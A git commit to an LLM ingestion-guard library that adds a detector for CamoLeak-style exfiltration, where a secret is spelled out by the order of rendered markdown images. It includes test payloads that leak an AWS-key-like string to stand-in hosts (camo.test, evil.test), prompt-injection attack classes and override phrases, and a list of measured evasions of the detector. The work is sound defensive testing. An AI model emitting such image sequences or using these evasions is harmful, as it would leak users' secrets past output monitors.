1
0
Fork 0

feat(active): report a run of images whose order carries a value

Session 6 of the 2026 threat plan (attack row 3): A05 output was red.
CamoLeak renders a secret as one image per character from a URL alphabet;
each URL is ordinary, so each image graded LOW and the gate WARNed.

- active:markdown-image-sequence (MEDIUM): at least 4 ordinary external
  images, inline or reference-style, on one URL template whose varying
  tokens are 2 chars or fewer, or digit runs. Digits that count up in
  document order are a counter and carry nothing. The per-image grade is
  unchanged; the finding sits beside it.
- Accepted twins (flag tables, figures 1a/1b) go to review; measured
  evasions (word dictionary, 3-char symbols, counter increments, run of 3,
  a template per symbol) are in LIMITATIONS.

Guard rule before/after: FP 106/198, 196/2918, 108/389 identical. Those
corpora hold no external markdown image, so the rule was also run on 577
package READMEs (312 with external images): 0 firings at run lengths 3-8.
OKF import 47/31 identical. Matrix 140/140, ReDoS 163 patterns 0 flagged,
suite 1179 passed + 5 xfailed. Row 3: 13 caught, 1 gap, 5 open.
This commit is contained in:
Kjell Tore Guttormsen 2026-10-31 19:33:51 +01:00
commit eeb7bf07f6
Signed by: ktg
SSH key fingerprint: SHA256:JakMjO6FTBBzN0Bhfj9saOoEjaFxlSdYuZQQpM/lF9Q
13 changed files with 403 additions and 12 deletions

View file

@ -5,6 +5,47 @@ All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
## [Unreleased]
### Added — a run of images whose order carries a value (attack A05, CamoLeak)
CamoLeak had the assistant render a secret as a run of images, one per character,
from a pre-built URL alphabet. Each URL on its own names a remote image and carries
nothing, so each was graded LOW and the gate WARNed. The value is in which image
comes where.
| Finding | Severity | What it reports |
|---|---|---|
| `active:markdown-image-sequence` | MEDIUM | at least 4 ordinary external images (`calibration.IMAGE_SEQUENCE_MIN_RUN`), inline or reference-style, on one URL template whose varying tokens are 2 characters or fewer (`IMAGE_SEQUENCE_SYMBOL_MAX`) or digit runs |
A run whose only varying parts are numbers that count up in document order
(`step-1.png`, `step-2.png`, or `ch1/fig2.png` before `ch2/fig1.png`) is a counter
and is not reported. Images on another template are not part of the run, so decoys
do not dilute it. Reference-style images (`![a][r]`, `![r][]`, `![r]`) resolve
through their definitions. Each image keeps its own `active:markdown-image` grade;
the new finding sits beside it.
MEDIUM sends the run to review rather than to a block. The rule reads the order
from the shape of the URLs, and that shape has benign twins: a table of country
flags (`/w20/no.png`, `/w20/se.png`, …) or figures named `1a`, `1b`, `2a` are
reported too. What it does not catch, measured: a dictionary of words, symbols of
3 characters or more, a counter whose increments carry the value, a run of 3, and
a run that changes template for every symbol. All are in `docs/LIMITATIONS.md`.
**If you route on labels:** a document with such a run now goes to
`QUARANTINE_REVIEW` under `PRESET_USER_UPLOAD`, not WARN.
**Measured against the guard rule, before and after:** the false-positive
populations are identical at 106/198 · 196/2918 · 108/389. Those three hold no
external markdown image, so the rule was also run over 411 npm READMEs and 166
PyPI descriptions (312 with external images, inline or by reference, badge rows
included): 0 firings, and 0 at every run length from 3 to 8. The pinned OKF corpus is identical on
import at 47 fail-secure / 31 warn, with 0 firings. The coverage matrix is at
140/140 classes. The ReDoS sweep covers 163 patterns, 0 flagged. Cost at the
1 000 000-character cap on an image-only document: the rule adds about 0.5 s of
CPU to a 4.6 s scan. Attack row 3: A05 is caught, leaving 13 caught, 1 documented
gap and 5 open.
## [1.6.0] — 2026-10-31
### Added — hidden markup at the persist gate (attacks A04, A14, A15)

View file

@ -81,6 +81,11 @@ byte-likt med commons. En verdi med ledende `0` overlates commons-raden `zero-fo
Hvit tekst alene er bevisst ikke et signal. `output:html-comment-present` (MEDIUM)
teller bare kommentarer utenfor kode. Katalogregisteret har 16 oppføringer med
`cited` == `latest` (`tests/test_catalog_register.py`).
**Rekkefølge-bæring (1.7.0):** `active:markdown-image-sequence` (MEDIUM) melder minst
4 vanlige eksterne bilder (inline eller referanse) på samme URL-mal der bare korte
tokener (2 tegn eller færre) eller sifre varierer. Sifre som teller oppover i
dokumentet er en teller og bærer ingenting. Flaggtabeller er en akseptert tvilling.
Bildene graderes fortsatt LOW hver for seg; funnet står ved siden av.
Start med `docs/BRIEF.md` for design, `README.md` for bruk, `docs/PLAN.md` for
byggerekkefølgen.

View file

@ -206,18 +206,18 @@ tier + disposition, emitted to `log.md`).
Concrete attack classes, grouped by OWASP Top 10 for LLM Applications **2026**
anchor. Numbers carry the year, OWASP's own form, because the 2026 edition
renumbered the list; a class no entry describes carries no number. Every row is
driven by a **live payload** in the coverage matrix — run it to watch all 145 pass
driven by a **live payload** in the coverage matrix — run it to watch all 146 pass
in your own environment:
```bash
python -m llm_ingestion_guard.coverage # 139/139 classes; exit 0 = all as documented
python -m llm_ingestion_guard.coverage # 140/140 classes; exit 0 = all as documented
```
| Anchor | Attack classes it stops (representative) |
|---|---|
| **LLM01:2026 · prompt injection** | 83 instruction-override lexicon classes (ignore / forget / disregard / suspend-constraints, role-play, jailbreak, …); hidden carriers — every invisible codepoint in Unicode 18.0 (zero-width, BIDI override, Unicode-tag, variation-selector and Sneaky-Bits smuggling, private use; legitimate emoji, CJK, Arabic-script, Indic and right-to-left uses exempt on context), HTML-comment, `data:` URI — stripped on input **and** re-checked at the persist gate (a comment the model leaves in its artifact is reported unless it sits in code); text hidden by styling — a font too small to read, or text coloured like its own background; high-entropy base64/hex blobs; an injection hidden inside a base64 blob (decoded, then re-scanned) |
| **LLM02:2026 · sensitive-info disclosure** | Secret egress in output — AWS keys, tokens, private keys, the credential set; a base64-*wrapped* secret (decoded → `decoded:egress:*`) |
| **LLM10:2026 · improper output handling** | Zero-click exfil carriers (EchoLeak, CVE-2025-32711) — markdown-image auto-fetch, inline / reference / autolink links, raw active HTML, standalone `data:` URIs |
| **LLM10:2026 · improper output handling** | Zero-click exfil carriers (EchoLeak, CVE-2025-32711) — markdown-image auto-fetch, inline / reference / autolink links, raw active HTML, standalone `data:` URIs; a run of images whose *order* carries a value while each URL is ordinary (CamoLeak) |
| **LLM03:2026 · excessive agency** | A tool surface on the quarantined transform; credential use beyond the per-stage allowlist; capability isolation (`scoped_env`) |
| **Fail-secure** *(the guard's own failure semantics)* | Forced-fallback attack (scan hit + transform failure → halt); compound weak-signal escalation; an un-scannable artifact fails **closed** — never a silent persist |
| **OKF structure (T1–T6)** | Body + frontmatter-value injection; YAML anchor / merge / nested / block DoS (parse-safety); non-`https` / active-scheme `resource` URLs and the `resource` allowlist; path traversal / reserved-name shadow; cross-link graph; provenance stamping |
@ -249,7 +249,7 @@ column is the part it does **not** stop. Each one was measured or is a documente
| **AML.T0143 · LLM Prompt Propagation** | Instructions that the lexicon or a carrier check sees are caught at the output gate, so they never reach the store that would pass them on | Propagation over a channel the guard does not sit on |
| **AML.T0051.001 · LLM Prompt Injection: Indirect** | The **LLM01:2026** row above | Novel phrasings with no lexicon hit; the tool-less transform carries that case |
| **AML.T0068 · LLM Prompt Obfuscation** | Invisible characters, HTML comments, a font too small to read, text coloured like the background declared on the same element, base64 and rot13 (decoded, then re-scanned) | White text whose background sits on a parent element or in a stylesheet: a plain-prose instruction hidden that way gives 0 findings |
| **AML.T0077 · LLM Response Rendering** | The **LLM10:2026** row above: markdown-image auto-fetch, links, raw active HTML | Pure beaconing to a bare path on a hostile host (a documented gap) |
| **AML.T0077 · LLM Response Rendering** | The **LLM10:2026** row above: markdown-image auto-fetch, links, raw active HTML, a run of images whose order spells a value | Pure beaconing to a bare path on a hostile host (a documented gap); an image run whose symbols are words rather than short tokens |
| **AML.T0066 · Retrieval Content Crafting** | Only the crafted content that also carries an injection | The crafted content itself — semantic gap |
**Every catalog the guard cites is on its newest edition, with the date it was
@ -328,7 +328,7 @@ a green scan means safe content. The highest-impact items:
two of the three corpora are living, so the cells are not rewritten in place.
Method and before/after: [`docs/rawhtml-census.py`](docs/rawhtml-census.py).
**Full list — 48 items, each with the mechanism, plus the out-of-scope boundary:**
**Full list — 49 items, each with the mechanism, plus the out-of-scope boundary:**
[`docs/LIMITATIONS.md`](docs/LIMITATIONS.md). Several carry field measurements from
consumer corpora, including the false positives the URL-shape rule actually produces.

View file

@ -142,9 +142,9 @@ live payload:
python -m llm_ingestion_guard.coverage # exit 0 = all as documented
```
As of `v1.6.0`: **139 / 139 defended classes demonstrated (recall 100%)** and **6 /
As of `v1.6.0`: **140 / 140 defended classes demonstrated (recall 100%)** and **6 /
6 documented gaps still hold** (a *closed* gap fails the test, forcing a doc
update). The matrix is the single source of truth for the test suite (**1142
update). The matrix is the single source of truth for the test suite (**1179
passing**), which also asserts total recall, that every lexicon pattern has a
case (so the matrix cannot fall behind the lexicon), the full LLM02:2026 secret-egress
set, and the container-layer front-end (CSV formula-injection, zip-slip/bomb,

View file

@ -250,6 +250,24 @@ items; this is the full list, each with the mechanism.
is bounded by `log2(length)` at short lengths. Mitigation in depth, not in this
detector: a literal credential in a URL is still caught by the LLM02:2026 egress
patterns in the same `scan_output` pass, whatever severity the carrier gets.
- **A value carried by the order of images is caught only when each symbol is short
and the run shares one URL template.** Since 1.7.0
`active:markdown-image-sequence` (MEDIUM) reports a run of at least 4 ordinary
external images (`IMAGE_SEQUENCE_MIN_RUN`), inline or reference-style, whose URLs
share one template and differ only in tokens of 2 characters or fewer
(`IMAGE_SEQUENCE_SYMBOL_MAX`) or in digit runs, unless those digits count up in
document order. That is CamoLeak's shape (attack A05). Measured 2026-10-31, each
a WARN with only a LOW per image: a dictionary of words (`/alpha.png`,
`/kilo.png`), symbols of 3 characters, a counter whose *increments* carry the
value, a run of 3, and a run whose symbols each change the path depth (every
image its own template). The opposite error is accepted: a table of country
flags (`/w20/no.png`, `/w20/se.png`, …) or figures named `1a`, `1b`, `2a` has the
shape of a symbol alphabet and goes to review. Neither occurs in the six benign
populations measured (the three false-positive corpora, 411 npm READMEs, 166 PyPI
descriptions and the 78 OKF concepts): 0 firings at every run length from 3 to 8.
The three false-positive corpora hold no external markdown image at all, so the
READMEs are the population that tests the rule. Raw `<img>` tags are not
counted: each one is already `active:raw-html` (HIGH).
- **Percent-escapes count as data-carrying — a `%20` in a path is a false positive.**
An ordinary link with an encoded space grades as carrying and reaches
QUARANTINE_REVIEW / FAIL_SECURE on an untrusted upload. Obfuscated encoding is a
@ -632,7 +650,7 @@ items; this is the full list, each with the mechanism.
missed; on one preset it is held for review instead of halted.
- **The ReDoS sweep has a measured sensitivity floor, not a clean bill of
health.** All 161 compiled patterns across all eleven regex-bearing modules are
health.** All 163 compiled patterns across all eleven regex-bearing modules are
swept arm by arm — payloads synthesised per run from each pattern's own
skeleton, so `[`, `[system]` and `[system](` are each probed separately rather
than relying on generic units, and each pattern is timed in the call mode the

View file

@ -269,6 +269,19 @@ tas i økt 2:*
I referansekorpuset står 253 av 254 kommentarer i kode.
- **Økt 6, rekkefølge-bæring:** A05 utgang. Hvert bilde bærer ingen data, men
rekkefølgen gjør det. Det graderes LOW og gir WARN.
*Gjort 31.10 (1.7.0):* A05 fanges, så rad 3 har nå **13 fanget, 1 hull og 5
røde** (A08, A09, A12, A16, A19). `active:markdown-image-sequence` (MEDIUM) melder
minst 4 vanlige eksterne bilder på samme URL-mal der bare korte tokener (2 tegn
eller færre) eller sifre varierer, med unntak for sifre som teller oppover.
Bildene graderes fortsatt hver for seg; funnet står ved siden av. Målt før
bygging: de tre falsk-positiv-korpusene har ikke ett eksternt markdown-bilde, så
de kan ikke prøve regelen. Derfor er den også målt på 411 npm-README-er og 166
PyPI-beskrivelser (312 med eksterne bilder) og OKF-korpuset: 0 treff for alle
lengder fra 3 til 8. Vaktregelen holder: falsk-positiv-tallene og OKF-importen er
identiske. Flaggtabeller og figurer kalt `1a`, `1b` er tvillinger regelen ikke kan
skille fra en symbolkanal. De går til gjennomsyn og står i LIMITATIONS, sammen med
de målte omgåelsene (ordbok med ord, symboler på 3 tegn, en teller der stegene
bærer verdien).
- **Økt 7, instruksjoner i ren prosa:** A08, A09, A12, A16 og A19. Ingen av dem har
en markør. Her er det mest sannsynlig at flere ender som dokumenterte hull fordi
vaktregelen ikke holder. Det skal måles, ikke antas.

View file

@ -130,7 +130,10 @@ from urllib.parse import urlsplit
from .calibration import (
ACTIVE_CONTENT_ORDINARY_SEVERITY as _ORDINARY_SEVERITY,
ACTIVE_CONTENT_SEQUENCE_SEVERITY as _SEQUENCE_SEVERITY,
ACTIVE_CONTENT_SEVERITY as _SEVERITY,
IMAGE_SEQUENCE_MIN_RUN as _SEQUENCE_MIN_RUN,
IMAGE_SEQUENCE_SYMBOL_MAX as _SYMBOL_MAX,
MAX_SCAN_CHARS,
URL_OPAQUE_ENTROPY_H as _OPAQUE_H,
URL_OPAQUE_HEX_MIN_LEN as _OPAQUE_HEX_LEN,
@ -431,6 +434,105 @@ def is_ordinary_url(url: str) -> bool:
return not any(_is_opaque(token) for token in _URL_TOKEN_RE.split(named) if token)
# --- sequence-carried exfiltration: the order is the carrier (A05, 1.7.0) ------
# CamoLeak (Legit Security, 2025-09-30) rendered a secret as a run of images, one
# per character, from a pre-built URL alphabet. Every URL in such a run can be
# ordinary — `is_ordinary_url` is right that none of them carries a value — so the
# per-image grade is LOW and the gate WARNs. The value is in which image comes
# where. (CamoLeak's own Camo URLs carry a 40-hex signature, which the opacity
# test already grades HIGH image by image; the rule below is for the alphabet
# that needs no such token.)
#
# The rule: group the external, ordinary images by URL TEMPLATE — every token of
# host and path, with a short token (`IMAGE_SEQUENCE_SYMBOL_MAX` chars or fewer)
# turned into a symbol slot and every digit run in a longer token into a digit
# slot. A template with at least `IMAGE_SEQUENCE_MIN_RUN` images whose slots vary
# is a run that can carry a value. One exception carries nothing: when every
# varying slot is a number and the numbers count up in document order
# (`step-1.png`, `ch1/fig2.png` before `ch2/fig1.png`), the position predicts the
# URL. Images on another template are not part of the run, so decoys with long
# names do not dilute it.
#
# Reference-style images (`![a][r]`, `![r][]`, `![r]`) resolve through their
# definitions, so the run cannot move out of the inline form; a definition no
# image uses is a link list and is not counted. ReDoS (OWASP LLM06:2026): both
# runs in `MD_IMAGE_REF_RE` exclude `[`, the anchor's own opening character, as
# the table above does.
MD_IMAGE_REF_RE = re.compile(r"!\[(?P<alt>[^\]\[]*)\](?:\[(?P<ref>[^\]\[]*)\])?(?!\()")
_DIGIT_RUN_RE = re.compile(r"\d+")
def _ref_label(label: str) -> str:
"""CommonMark label matching: case-insensitive, internal whitespace collapsed."""
return " ".join(label.split()).casefold()
def _external_images_in_order(text: str) -> list[str]:
"""Every external image URL in ``text``, inline or by reference, in document order."""
found = [(m.start(), m.group("url")) for m in MD_IMAGE_RE.finditer(text)]
definitions: dict[str, str] = {}
for m in MD_REFDEF_RE.finditer(text):
# `pre` is ` [label]: `; the first definition of a label wins.
definitions.setdefault(_ref_label(m.group("pre").strip()[1:-2]), m.group("url"))
if definitions:
for m in MD_IMAGE_REF_RE.finditer(text):
label = _ref_label(m.group("ref") or m.group("alt"))
if label in definitions:
found.append((m.start(), definitions[label]))
found.sort(key=lambda hit: hit[0])
return [url for _, url in found if _has_external_target(url)]
def _template(url: str) -> tuple[tuple[str, ...], tuple[str, ...]]:
"""``(template, slot values)`` for an ordinary URL's host and path."""
parts = urlsplit(url)
template: list[str] = []
slots: list[str] = []
for token in _URL_TOKEN_RE.split(parts.netloc.lower() + parts.path):
if not token:
continue
if len(token) <= _SYMBOL_MAX:
template.append("*")
slots.append(token)
else:
template.append(_DIGIT_RUN_RE.sub("#", token))
slots.extend(_DIGIT_RUN_RE.findall(token))
return tuple(template), tuple(slots)
def _counts_up(rows: list[tuple[str, ...]]) -> bool:
"""True if every row is all digits and the rows strictly increase, read as numbers."""
if not all(value.isdigit() for row in rows for value in row):
return False
numbers = [tuple(int(value) for value in row) for row in rows]
return all(a < b for a, b in zip(numbers, numbers[1:]))
def _carrying_image_runs(text: str) -> list[list[str]]:
"""The runs of ordinary external images whose order can carry a value.
Each run is its URLs in document order.
"""
by_template: dict[tuple[str, ...], list[tuple[str, tuple[str, ...]]]] = {}
for url in _external_images_in_order(text):
if not is_ordinary_url(url):
continue # already graded as carrying on its own
template, slots = _template(url)
by_template.setdefault(template, []).append((url, slots))
runs = []
for members in by_template.values():
if len(members) < _SEQUENCE_MIN_RUN:
continue
rows = [slots for _, slots in members]
varying = [i for i in range(len(rows[0])) if len({row[i] for row in rows}) > 1]
if not varying:
continue # one image repeated carries nothing
if _counts_up([tuple(row[i] for i in varying) for row in rows]):
continue # a counter: the position predicts the URL
runs.append([url for url, _ in members])
return runs
# Per-construct severities (_SEVERITY, imported above) live in `calibration` —
# zero-click auto-fetch/execute -> HIGH, click-required -> MEDIUM — the Node port
# shares them.
@ -504,6 +606,17 @@ def scan_active_content(
if imgs:
_flag("markdown-image", imgs)
# Read from the unmasked text: a run may mix inline and reference-style images,
# and its own finding sits beside the per-image grade without changing it.
runs = _carrying_image_runs(text)
if runs:
report.add(Finding(
label="active:markdown-image-sequence", severity=_SEQUENCE_SEVERITY,
source=source, detector="active_content", count=sum(len(run) for run in runs),
evidence=redact(defang_url(runs[0][0]), show_start=24),
owasp=_owasp.IMPROPER_OUTPUT_HANDLING,
))
links = _scan(MD_LINK_RE, "url", _has_external_target)
if links:
_flag("markdown-link", links)

View file

@ -173,6 +173,27 @@ ACTIVE_CONTENT_ORDINARY_SEVERITY = Severity.LOW
# here is what 0.3.1 exists to fix.
URL_OPAQUE_ENTROPY_H, URL_OPAQUE_MIN_LEN = 4.4, 24
# --- active_content: sequence-carried exfiltration (A05, 1.7.0) -------------
# A run of external images can carry a value in its ORDER while every URL in it
# is ordinary (CamoLeak: one image per character from a pre-built URL alphabet).
# `active:markdown-image-sequence` reports a run of at least
# IMAGE_SEQUENCE_MIN_RUN images on one URL template whose varying tokens are
# short symbols, IMAGE_SEQUENCE_SYMBOL_MAX characters or fewer — one byte in hex.
# A longer varying token reads as a name (a gallery), which is the residual.
#
# Measured 2026-10-31 before building: 0 firings at every run length from 3 to 8
# on six benign populations (the three false-positive corpora, 3 505 documents
# and none with an external markdown image; 411 npm READMEs and 166 PyPI
# descriptions, 312 of them with external images; the pinned OKF corpus, 78). The corpora
# therefore do not bind the minimum. 4 is the shortest value worth stealing in
# one run (a four-digit code); the published case is six.
IMAGE_SEQUENCE_MIN_RUN = 4
IMAGE_SEQUENCE_SYMBOL_MAX = 2
# MEDIUM, so the run goes to review rather than to a block: each image on its own
# carries nothing, the reading of the order is an inference from shape, and the
# shape has benign twins (a table of country flags) documented in LIMITATIONS.
ACTIVE_CONTENT_SEQUENCE_SEVERITY = Severity.MEDIUM
# Hex floor for a URL token. Deliberately lower than ENTROPY_HEX_FLOOR_LEN (64):
# in prose a 32-char hex run is usually a checksum, but as a whole path segment
# or host label it is an opaque id — the md5/uuid length an exfil path uses.

View file

@ -521,6 +521,11 @@ def _build_cases() -> list[Case]:
# consumer can pin needs a row here, or 128/128 would silently exclude it.
_scan_case("active", "raw HTML anchor (click-required)", "active:raw-html-link",
'<a href="https://evil.test/collect?d=stolen">t</a>', owasp=_owasp.IMPROPER_OUTPUT_HANDLING),
# Session 6 (2026-10-31, A05 CamoLeak): every image ordinary, the order carries.
_scan_case("active", "image run whose order carries a value (sequence exfil)",
"active:markdown-image-sequence",
"".join(f"![](https://camo.test/{c}.png)" for c in "AKIAEX"),
owasp=_owasp.IMPROPER_OUTPUT_HANDLING),
_scan_case("active", "standalone data: URI in prose", "active:data-uri",
"payload data:text/html;base64,PHN2Zz4= end", owasp=_owasp.IMPROPER_OUTPUT_HANDLING),
_predicate_case("active", "ordinary document is NOT over-blocked", "warn",

View file

@ -225,8 +225,8 @@ GAP_CASES = [
# A01 and A02 caught from 1.4.2 (session 2: the invisible-codepoint denominator).
# A04 and A15 output caught in session 5 (hidden markup): `html-obfuscation:tiny-font`
# and `output:html-comment-present`.
# A05 output caught in session 6 (sequence carriage): `active:markdown-image-sequence`.
RED = {
"A05-output": "each image carries no data, the sequence does: LOW -> WARN (beaconing gap)",
"A08-output": "natural-language persistence instruction in the output: 0 findings",
"A09-input": "conditional memory trigger in plain prose: 0 findings",
"A12-input": "natural-language task with no marker: 0 findings",

View file

@ -272,13 +272,13 @@ def test_redos_sweep_floor_and_flag_match_the_published_numbers():
assert "2.6 flag threshold" in text
def test_redos_sweep_collector_covers_161_patterns_across_11_tables():
# The count docs/LIMITATIONS.md carries as "all 161 compiled patterns across
def test_redos_sweep_collector_covers_163_patterns_across_11_tables():
# The count docs/LIMITATIONS.md carries as "all 163 compiled patterns across
# all eleven regex-bearing modules". A pattern added or removed in `src/`
# without re-measuring would drift the doc's claim silently otherwise.
assert len(redos_sweep.TABLES) == 11
total = sum(len(collect()) for collect in redos_sweep.TABLES.values())
assert total == 161
assert total == 163
# --- both scripts: the argument-less contract --------------------------------

View file

@ -0,0 +1,172 @@
"""Sequence-carried exfiltration — each image carries nothing, the order does (A05).
CamoLeak (Legit Security, 2025-09-30) had the assistant render a secret as a run of
images, one per character, from a pre-built URL alphabet. Every URL on its own is
an ordinary remote image, so ``is_ordinary_url`` grades each one LOW and the gate
WARNs: the value is in which image comes where.
``active:markdown-image-sequence`` reports a run of at least
``calibration.IMAGE_SEQUENCE_MIN_RUN`` external images that share one URL template
and differ only in short symbols (``calibration.IMAGE_SEQUENCE_SYMBOL_MAX`` chars
or fewer per token). A run whose only varying parts are numbers that count up in
document order is a counter (``step-1.png``, ``step-2.png``): its position is
predictable, so it carries nothing and is not reported.
Measured before building (2026-10-31): 0 firings at every run length from 3 to 8
on six benign populations — the three false-positive corpora (3 505 documents,
none of which holds an external markdown image), 411 npm READMEs and 166 PyPI
descriptions (312 of them with external images, badge rows included) and the
pinned OKF corpus (78). The look-alikes the rule cannot tell apart from a symbol
channel — a table of country flags, figures named ``1a``/``1b`` — are pinned
below as accepted and documented in ``docs/LIMITATIONS.md``.
"""
from __future__ import annotations
import pytest
from llm_ingestion_guard import Disposition, PRESET_USER_UPLOAD, decide
from llm_ingestion_guard.calibration import IMAGE_SEQUENCE_MIN_RUN
from llm_ingestion_guard.output import scan_output
from llm_ingestion_guard.report import Severity, Source
from redos_clock import scan_seconds
LABEL = "active:markdown-image-sequence"
SECRET = "AKIAEX"
def _report(text: str):
return scan_output(text, source=Source.OUTPUT)
def _seq(text: str):
return [f for f in _report(text).findings if f.label == LABEL]
# --- what carries ------------------------------------------------------------
CARRYING = {
# The frozen A05 case: one symbol and a per-position signature.
"symbol-and-signature": "".join(
f"![](https://camo.test/{c}/sig{n})" for n, c in enumerate(SECRET)),
# A dictionary with one URL per character: repeats are the point.
"dictionary-with-repeats": "".join(f"![](https://camo.test/{c}.png)" for c in "AKIAAA"),
"binary": "".join(f"![](https://x.test/b/{b}.gif)" for ch in "AK" for b in f"{ord(ch):08b}"),
"hex-nibbles": "".join(f"![](https://x.test/h/{c}.gif)" for c in "414b4941"),
"symbol-in-subdomain": "".join(f"![](https://{c.lower()}.x.test/p.gif)" for c in SECRET),
"digits-out-of-order": "".join(f"![](https://x.test/p/{d})" for d in "730192"),
# Reference-style images resolve through their definitions: A03's form.
"reference-style": "".join(f"![x][r{n}]" for n in range(6)) + "\n\n" + "\n".join(
f"[r{n}]: https://camo.test/{c}/s{n}" for n, c in enumerate(SECRET)),
"collapsed-reference": " ".join(f"![{c}][]" for c in "AKIEXQ") + "\n\n" + "\n".join(
f"[{c}]: https://camo.test/{c}.png" for c in "AKIEXQ"),
"shortcut-reference": " ".join(f"![{c}]" for c in "AKIEXQ") + "\n\n" + "\n".join(
f"[{c}]: https://camo.test/{c}.png" for c in "AKIEXQ"),
"mixed-inline-and-reference": (
"![](https://camo.test/A.png) ![a][k] ![](https://camo.test/I.png) ![b][e]\n\n"
"[k]: https://camo.test/K.png\n[e]: https://camo.test/E.png\n"),
}
@pytest.mark.parametrize("name", sorted(CARRYING))
def test_a_run_whose_order_carries_a_value_is_reported(name):
found = _seq(CARRYING[name])
assert len(found) == 1, name
assert found[0].severity is Severity.MEDIUM
def test_the_report_leaves_review_not_warn():
# The point of the finding: the gate no longer waves the run through.
d = decide(_report(CARRYING["symbol-and-signature"]), PRESET_USER_UPLOAD).disposition
assert d is not Disposition.WARN
def test_each_image_still_grades_ordinary():
# The new finding sits beside the per-image grade, it does not regrade it.
img = next(f for f in _report(CARRYING["symbol-and-signature"]).findings
if f.label == "active:markdown-image")
assert img.severity is Severity.LOW
def test_evidence_is_defanged_and_counts_the_run():
f = _seq(CARRYING["symbol-and-signature"])[0]
assert f.count == len(SECRET)
assert "hxxps://camo[.]test" in f.evidence
assert "https://" not in f.evidence
def test_decoys_with_another_template_do_not_hide_the_run():
text = CARRYING["symbol-and-signature"] + "".join(
f"![](https://camo.test/{w}/sig9)" for w in ("overview", "decoyname"))
assert len(_seq(text)) == 1
def test_one_run_short_of_the_minimum_is_not_reported():
n = IMAGE_SEQUENCE_MIN_RUN - 1
assert _seq("".join(f"![](https://camo.test/{c}.png)" for c in "QXZ"[:n])) == []
def test_the_minimum_run_is_reported():
n = IMAGE_SEQUENCE_MIN_RUN
assert len(_seq("".join(f"![](https://camo.test/{c}.png)" for c in "QXZWV"[:n]))) == 1
def test_input_side_sees_it_too():
found = [f for f in scan_output(CARRYING["dictionary-with-repeats"], source=Source.INPUT).findings
if f.label == LABEL]
assert len(found) == 1 and found[0].source is Source.INPUT
# --- what does not ------------------------------------------------------------
QUIET = {
"numbered-screenshots": "".join(f"![s](https://docs.test/img/step-{n}.png)\n" for n in range(1, 8)),
"numbered-in-token": "".join(f"![s](https://docs.test/fig{n}.png)\n" for n in range(1, 8)),
"zero-padded": "".join(f"![s](https://docs.test/{n:02d}.png)\n" for n in range(1, 8)),
"chapter-and-figure": "".join(
f"![s](https://docs.test/ch{c}/fig{f}.png)\n" for c in (1, 2) for f in (1, 2, 3)),
"named-gallery": "".join(f"![s](https://docs.test/img/{w}.png)\n" for w in (
"overview", "install", "config", "deploy", "monitor", "cleanup")),
"one-image-repeated": "![s](https://gh.test/media/split.png)" * 7,
"different-hosts-and-shapes": (
"![a](https://a.test/one.png) ![b](https://b.test/x/two.png) "
"![c](https://c.test/three.svg) ![d](https://d.test/x/y/four.png)"),
# Relative images name no attacker-reachable host, as for the single-image grade.
"relative": "".join(f"![](/img/{c}.png)" for c in SECRET),
# A run of non-ordinary images is already HIGH per image; the sequence adds nothing.
"already-carrying": "".join(f"![](https://x.test/{c}.png?n={n})" for n, c in enumerate(SECRET)),
# A reference definition no image uses is a link list, not a fetch.
"link-definitions-only": "\n".join(f"[{c}]: https://camo.test/{c}.png" for c in SECRET),
"inline-image-is-not-a-shortcut-ref": " ".join(
f"![{c}](https://docs.test/img/{w}.png)" for c, w in zip("AKIEXQ", (
"overview", "install", "config", "deploy", "monitor", "cleanup")))
+ "\n\n" + "\n".join(f"[{c}]: https://camo.test/{c}.png" for c in "AKIEXQ"),
}
@pytest.mark.parametrize("name", sorted(QUIET))
def test_a_run_that_carries_nothing_is_not_reported(name):
assert _seq(QUIET[name]) == [], name
# --- the accepted look-alikes (docs/LIMITATIONS.md) ------------------------------
ACCEPTED_TWINS = {
"flag-table": "".join(f"| ![](https://flags.test/w20/{c}.png) |\n" for c in (
"no", "se", "dk", "fi", "is", "de")),
"lettered-figures": "".join(f"![s](https://docs.test/fig-{n}{l}.png)\n" for n in (1, 2, 3) for l in "ab"),
}
@pytest.mark.parametrize("name", sorted(ACCEPTED_TWINS))
def test_a_symbol_alphabet_that_happens_to_be_benign_is_still_reported(name):
# Pinned so that a change which quiets these is seen and its cost measured:
# the shape is the same as a symbol channel, and the residual is documented.
assert len(_seq(ACCEPTED_TWINS[name])) == 1, name
# --- self-safety ----------------------------------------------------------------
@pytest.mark.parametrize("unit", ["![a][", "![", "![a](https://x.test/b)", "[a]: https://x.test/b\n"])
def test_crafted_input_stays_bounded(unit):
payload = (unit * (200_000 // len(unit) + 1))[:200_000]
assert scan_seconds(lambda t: scan_output(t, source=Source.OUTPUT), payload) < 2.0

View file

@ -428,6 +428,9 @@ _REDOS_PAYLOADS = [
("active-md-image-url", scan_active_content, "![a]("),
("active-md-link-url", scan_active_content, "[a]("),
("active-html-tag-attrs", scan_active_content, "<a"),
# 1.7.0: the reference-style image pattern behind the sequence rule. Its alt
# run is the image row's `![` above; the label run behind it needs its own.
("active-md-image-ref-label", scan_active_content, "![a]["),
# 0.6.0 put a value parser behind the URL-attribute presence test. Its one run
# is the `\s*` in front of the required `=`, so the unit has to DENY the `=`:
# a unit that supplies it matches immediately and never exercises the run.